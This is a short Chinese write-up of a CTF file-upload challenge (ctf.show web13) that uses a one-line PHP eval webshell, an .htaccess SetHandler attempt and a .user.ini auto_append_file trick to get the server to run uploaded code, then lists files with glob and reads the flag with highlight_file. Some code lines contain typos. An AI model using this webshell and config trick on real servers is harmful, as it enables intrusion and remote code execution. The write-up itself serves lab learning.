ctf.show_web13(文件上传之.user.ini)
这是一道文件上传题,先二话不说丢个图片码,显示为
先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大。将一句话木马修改为:
<?php eval($POST['w'];
文件大小上传成功,但是修改文件尾缀,无论是大小写变换还是解析漏洞,以及PHP1-9,phtml,都不大行。考虑正则匹配过滤了php
考虑配置文件。
先考虑.htaccess:
<FilesMatch "a.txt"> SetHandler application/x-httpd-php </FilsMatch>
内容依旧是error file zise,通过查看WP,学习到新的用法:
.user.ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
.htaccess是伪静态环境配置文件,用于lamp。 .user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取. 配置 放在根目录 .user.ini
两个PHP方法:
auto_prepend_file:在页面顶部加载文件
auto_append_file:在页面底部加载文件
auto_append_file=a.txt
上传点.user.ini,这时候任何一个PHP文件都可以使用菜刀连接,但是连接上去后啥也没有。
使用print_r(glob("*"));可以查看当前目录下所有文件
然后使用highlight_file函数,用字符串形式返回php文件的内容
w=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");